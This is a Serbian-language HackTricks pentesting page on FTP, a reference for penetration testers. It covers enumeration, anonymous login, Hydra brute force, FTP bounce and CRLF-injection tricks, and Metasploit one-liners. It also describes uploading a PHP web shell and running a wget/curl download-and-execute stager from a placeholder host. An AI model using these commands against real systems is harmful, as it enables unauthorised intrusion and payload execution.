21 - Pentesting FTP

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

File Transfer Protocol (FTP) služi kao standardni protokol za prenos fajlova preko računarske mreže između servera i klijenta.
To je plain-text protokol koji koristi kao karakter novog reda 0x0d 0x0a, pa ponekad treba da se povežete koristeći telnet ili nc -C.

Podrazumevani port: 21

PORT   STATE SERVICE
21/tcp open  ftp

Veze Active & Passive

U Active FTP FTP client prvo inicira kontrolnu konekciju sa svog porta N ka komandnom portu FTP Servera – portu 21. Zatim client sluša na portu N+1 i šalje port N+1 FTP Serveru. FTP Server potom inicira data konekciju, sa svog porta M ka portu N+1 FTP Clienta.

Međutim, ako FTP Client ima firewall podešen koji kontroliše dolazne data konekcije iz spoljašnjosti, onda active FTP može predstavljati problem. Izvodljivo rešenje za to je Passive FTP.

U Passive FTP, client inicira kontrolnu konekciju sa svog porta N ka portu 21 FTP Servera. Nakon toga, client izvršava passv comand. Server potom šalje clientu jedan od svojih portova, broj M. I client inicira data konekciju sa svog porta P na port M FTP Servera.

Izvor: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Otklanjanje grešaka konekcije

Komande FTP debug i trace mogu se koristiti da se vidi kako komunikacija protiče.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

Povežite se na FTP koristeći starttls

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Neautentifikovana enum

Sa nmap

sudo nmap -sV -p21 -sC -A 10.10.10.10

Možete koristiti komande HELP i FEAT да бисте добили неке информације о FTP серверу:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Anonimni login

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Ovde možete pronaći dobar spisak podrazumevanih FTP podataka za prijavu: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Automatizovano

Anon login i bounce FTP checks se podrazumevano izvršavaju pomoću nmap-a sa opcijom -sC ili:

nmap --script ftp-* -p 21 <ip>

Povezivanje putem pregledača

Možete se povezati na FTP server pomoću pregledača (npr. Firefox) koristeći URL kao:

ftp://anonymous:anonymous@10.10.10.98

Imajte na umu da ako web application šalje podatke koje kontroliše korisnik directly to a FTP server, možete poslati double URL encode %0d%0a (u double URL encode ovo je %250d%250a) bajtove i naterati FTP server perform arbitrary actions. Jedna od ovih mogućih arbitrarnih akcija je preuzimanje sadržaja sa servera koji kontroliše korisnik, izvršavanje port skeniranja ili pokušaj komunikacije sa drugim plain-text baziranim servisima (kao http).

Preuzmite sve fajlove sa FTP

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

Ako vaš user/password sadrži specijalne karaktere, može se koristiti following command:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root mapped to webroot (XAMPP)

  • XAMPP/ProFTPD često mapira FTP root na /opt/lampp/htdocs, pa slabe akreditive (weak creds) na servisnim nalozima kao daemon ili nobody omogućavaju da upload a PHP web shell directly into the served webroot.
  • Nakon uploada, pokrenite architecture-aware download/exec stager preko shell-a, na primer: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), koji preuzima payload potvrđen checksum-om, snima ga (npr. init_start), postavlja chmod +x i pokreće ga.
  • Ako trenutni direktorijum nije zapisiv/izvršiv, stager se vraća na /tmp, zato testirajte web putanje i permisije fajl sistema nakon uploada.

Some FTP commands

  • USER username
  • PASS password
  • HELP Server pokazuje koje su komande podržane
  • PORT 127,0,0,1,0,80 Ovo će naložiti FTP serveru da uspostavi konekciju sa IP 127.0.0.1 na portu 80 (treba staviti 5. karakter kao “0” i 6. kao port u decimalnom ili koristiti 5. i 6. da izraze port u hex-u).
  • EPRT |2|127.0.0.1|80| Ovo će naložiti FTP serveru da uspostavi TCP konekciju (označeno sa “2”) sa IP 127.0.0.1 na portu 80. Ova komanda supports IPv6.
  • LIST Šalje listu fajlova u trenutnom folderu
  • LIST -R Prikazuje rekurzivno (ako server dozvoljava)
  • APPE /path/something.txt Ovom komandom se nalaže FTP da sačuva podatke primljene iz passive konekcije ili iz PORT/EPRT konekcije u fajl. Ako fajl postoji, dodaće podatke (append).
  • STOR /path/something.txt Poput APPE, ali će prepisati fajl
  • STOU /path/something.txt Poput APPE, ali ako fajl postoji neće ništa uraditi
  • RETR /path/to/file Potrebno je uspostaviti passive ili port konekciju. Zatim, FTP server će poslati naznačeni fajl kroz tu konekciju
  • REST 6 Nalaže serveru da sledeći put kad šalje nešto koristeći RETR treba da počne od 6. bajta
  • TYPE i Postavlja transfer na binarni režim
  • PASV Otvara passive konekciju i naznačuje korisniku gde se može povezati
  • PUT /tmp/file.txt Upload-uje naznačeni fajl na FTP

FTPBounce attack

Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da se serveru kaže da treba da se poveže na drugi FTP server na nekom portu. Možete ovo iskoristiti da skenirate koji portovi na nekom hostu su otvoreni preko FTP servera.

Saznajte ovde kako zloupotrebiti FTP server za skeniranje portova.

Takođe biste mogli zloupotrebiti ovo ponašanje da naterate FTP server da interaguje sa drugim protokolima. Možete upload-ovati fajl koji sadrži HTTP request i naterati ranjivi FTP server da pošalje taj request proizvoljnom HTTP serveru (možda da doda novog admin korisnika?) ili čak upload-ovati FTP request i naterati ranjivi FTP server da preuzme fajl sa drugog FTP servera. Teorija je jednostavna:

  1. Upload-ujte request (u tekst fajlu) na ranjivi server. Zapamtite da ako želite da pričate sa drugim HTTP ili FTP serverom morate promeniti linije sa 0x0d 0x0a
  2. Koristite REST X da izbegnete slanje karaktera koje ne želite poslati (možda ste morali staviti neki image header na početak fajla da biste upload-ovali request)
  3. Koristite PORT da se povežete na proizvoljni server i servis
  4. Koristite RETR da pošaljete sačuvani request tom serveru.

Vrlo je verovatno da će ovo baci grešku kao Socket not writable jer konekcija ne traje dovoljno da se podaci pošalju sa RETR. Predlozi za pokušaje da to izbegnete su:

  • Ako šaljete HTTP request, stavite isti request jedan za drugim dok ne dostignete ~0.5MB barem. Ovako:

  • Pokušajte da napunite request “junk” podacima koji su relativni protokolu (za FTP možda samo junk komande ili ponavljanje RETR instrukcije da se dobije fajl)
  • Jednostavno napunite request velikom količinom null karaktera ili drugih (podeljenih u linije ili ne)

U svakom slučaju, ovde imate stari primer kako zloupotrebiti ovo da naterate FTP server da preuzme fajl sa drugog FTP servera.

Ranljivost Filezilla Servera

FileZilla obično binduje lokalno administrativni servis za FileZilla-Server (port 14147). Ako možete napraviti tunel sa vaše mašine da pristupite ovom portu, možete se povezati na njega koristeći praznu lozinku i kreirati novog user-a za FTP servis.

Konfiguracioni fajlovi

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

The default configuration of vsFTPd can be found in /etc/vsftpd.conf. In here, you could find some dangerous settings:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Direktorijum za anonimne korisnike.
  • chown_uploads=YES - Menja vlasništvo anonimno otpremljenih fajlova.
  • chown_username=username - Korisnik kojem se dodeljuje vlasništvo nad anonimno otpremljenim fajlovima.
  • local_enable=YES - Omogućava lokalnim korisnicima da se prijave.
  • no_anon_password=YES - Ne traži lozinku od anonimnih korisnika.
  • write_enable=YES - Dozvoljava sledeće komande: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE

Shodan

  • ftp
  • port:21

HackTricks Automatic Commands

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

Izvori

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks